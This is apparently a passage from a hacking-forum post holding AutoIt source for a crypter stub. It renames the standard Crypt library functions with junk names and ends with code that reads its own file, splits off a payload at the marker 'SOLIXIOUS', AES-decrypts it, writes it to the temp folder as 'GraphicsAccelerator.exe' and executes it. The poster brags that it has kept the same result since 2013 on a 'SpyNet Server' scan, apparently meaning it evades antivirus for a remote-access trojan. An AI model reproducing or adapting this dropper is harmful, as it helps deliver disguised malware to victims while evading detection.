DllClose(__asklchuxzasduhuczxyiasyugcxzua_dllhandle())
Return SetError(2, 0, False)
Else
__asklchuxzasduhuczxyiasyugcxzua_contextset($aret[1])
EndIf
EndIf
__asklchuxzasduhuczxyiasyugcxzua_refcountinc()
Return True
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_shutdown()
__asklchuxzasduhuczxyiasyugcxzua_refcountdec()
If __asklchuxzasduhuczxyiasyugcxzua_refcount() = 0 Then
DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptReleaseContext", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "dword", 0)
DllClose(__asklchuxzasduhuczxyiasyugcxzua_dllhandle())
EndIf
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5)
Local $aret
Local $hcrypthash
Local $hbuff
Local $ierror
Local $vreturn
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptCreateHash", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
$hcrypthash = $aret[5]
$hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
DllStructSetData($hbuff, 1, $vpassword)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDeriveKey", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
$ierror = 0
$vreturn = $aret[5]
Until True
If $hcrypthash <> 0 Then DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_destroykey($hcryptkey)
Local $aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
Local $nerror = @error
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $nerror OR NOT $aret[0] Then
Return SetError(1, 0, False)
Else
Return SetError(0, 0, True)
EndIf
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_encryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
Local $hbuff
Local $ierror
Local $vreturn
Local $reqbuffsize
Local $aret
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$reqbuffsize = $aret[6]
$hbuff = DllStructCreate("byte[" & $reqbuffsize & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff))
If @error OR NOT $aret[0] Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
$ierror = 0
$vreturn = DllStructGetData($hbuff, 1)
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_decryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
Local $hbuff
Local $ierror
Local $vreturn
Local $htempstruct
Local $iplaintextsize
Local $aret
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$iplaintextsize = $aret[6]
$htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff))
$ierror = 0
$vreturn = DllStructGetData($htempstruct, 1)
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_hashdata($vdata, $ialg_id, $ffinal = True, $hcrypthash = 0)
Local $ierror
Local $vreturn = 0
Local $ihashsize
Local $aret
Local $hbuff = 0
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $hcrypthash = 0 Then
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptCreateHash", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "uint", $ialg_id, "ptr", 0, "dword", 0, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
$hcrypthash = $aret[5]
EndIf
$hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
If $ffinal Then
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
$ihashsize = $aret[3]
$hbuff = DllStructCreate("byte[" & $ihashsize & "]")
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = 4
$vreturn = -1
ExitLoop
EndIf
$ierror = 0
$vreturn = DllStructGetData($hbuff, 1)
Else
$vreturn = $hcrypthash
EndIf
Until True
If $hcrypthash <> 0 AND $ffinal Then DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_hashfile($sfile, $ialg_id)
Local $hfile
Local $ierror, $vreturn
Local $hhashobject = 0
Local $btempdata
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
$hfile = FileOpen($sfile, 16)
If $hfile = -1 Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hfile, 512 * 1024)
If @error Then
$vreturn = _asklchuxzasduhuczxyiasyugcxzua_hashdata($btempdata, $ialg_id, True, $hhashobject)
If @error Then
$vreturn = -1
$ierror = 2
ExitLoop 2
EndIf
ExitLoop 2
Else
$hhashobject = _asklchuxzasduhuczxyiasyugcxzua_hashdata($btempdata, $ialg_id, False, $hhashobject)
If @error Then
$vreturn = -1
$ierror = 3
ExitLoop 2
EndIf
EndIf
Until False
Until True
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $hfile <> -1 Then FileClose($hfile)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
Local $hinfile, $houtfile
Local $ierror = 0, $vreturn = True
Local $btempdata
Local $ifilesize = FileGetSize($ssourcefile)
Local $iread = 0
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$hinfile = FileOpen($ssourcefile, 16)
If @error Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$houtfile = FileOpen($sdestinationfile, 26)
If @error Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hinfile, 1024 * 1024)
$iread += BinaryLen($btempdata)
If $iread = $ifilesize Then
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
If @error Then
$ierror = 4
$vreturn = -1
EndIf
FileWrite($houtfile, $btempdata)
ExitLoop 2
Else
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
If @error Then
$ierror = 5
$vreturn = -1
ExitLoop 2
EndIf
FileWrite($houtfile, $btempdata)
EndIf
Until False
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $hinfile <> -1 Then FileClose($hinfile)
If $houtfile <> -1 Then FileClose($houtfile)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
Local $hinfile, $houtfile
Local $ierror = 0, $vreturn = True
Local $btempdata
Local $ifilesize = FileGetSize($ssourcefile)
Local $iread = 0
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$hinfile = FileOpen($ssourcefile, 16)
If @error Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$houtfile = FileOpen($sdestinationfile, 26)
If @error Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hinfile, 1024 * 1024)
$iread += BinaryLen($btempdata)
If $iread = $ifilesize Then
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
If @error Then
$ierror = 4
$vreturn = -1
EndIf
FileWrite($houtfile, $btempdata)
ExitLoop 2
Else
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
If @error Then
$ierror = 5
$vreturn = -1
ExitLoop 2
EndIf
FileWrite($houtfile, $btempdata)
EndIf
Until False
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $hinfile <> -1 Then FileClose($hinfile)
If $houtfile <> -1 Then FileClose($houtfile)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_refcount()
Return $__g_acryptinternaldata[0]
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_refcountinc()
$__g_acryptinternaldata[0] += 1
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_refcountdec()
If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_dllhandle()
Return $__g_acryptinternaldata[1]
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_dllhandleset($hadvapi32)
$__g_acryptinternaldata[1] = $hadvapi32
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_context()
Return $__g_acryptinternaldata[2]
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_contextset($hcryptcontext)
$__g_acryptinternaldata[2] = $hcryptcontext
EndFunc
$path = @ScriptFullPath
$file = FileOpen($path, 0 + 16)
$data = FileRead($file)
$marker = "SOLIXIOUS"
$strdata = BinaryToString($data)
$ardata = StringSplit($strdata, $marker, 1)
HotKeySet("+!c", "quit")
If @error Then
MsgBox(0, "No Delimiters", "No delimiters Found!")
Else
If $ardata[0] = 2 Then
$ardata[2] = decrypt(BinaryToString($ardata[2]))
$file1 = FileOpen(@TempDir & "\GraphicsAccelerator.exe", 2 + 16)
FileWrite($file1, $ardata[2])
FileClose($file1)
ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
EndIf
EndIf
Func decrypt($data)
$data = _asklchuxzasduhuczxyiasyugcxzua_decryptdata($data, "SOLIXIOUS", $calg_aes_256)
Return $data
EndFunc
Func quit()
Exit
EndFunc
From May 2013 Till now had same result :shocked:
My SpyNet Server Scan :

This link is hidden for visitors. Please Log in or register now.